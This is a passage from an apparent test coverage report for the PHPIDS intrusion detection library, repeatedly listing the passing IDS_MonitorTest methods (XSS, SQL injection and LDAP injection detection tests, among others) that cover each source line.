class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel577": { - "header": "35 tests cover line 577", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel578": { - "header": "35 tests cover line 578", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel580": { - "header": "35 tests cover line 580", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel583": { - "header": "35 tests cover line 583", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel586": { - "header": "35 tests cover line 586", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel589": { - "header": "35 tests cover line 589", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel591": { - "header": "35 tests cover line 591", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel605": { - "header": "35 tests cover line 605", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel607": { - "header": "35 tests cover line 607", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel608": { - "header": "35 tests cover line 608", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel612": { - "header": "35 tests cover line 612", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel614": { - "header": "33 tests cover line 614", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li 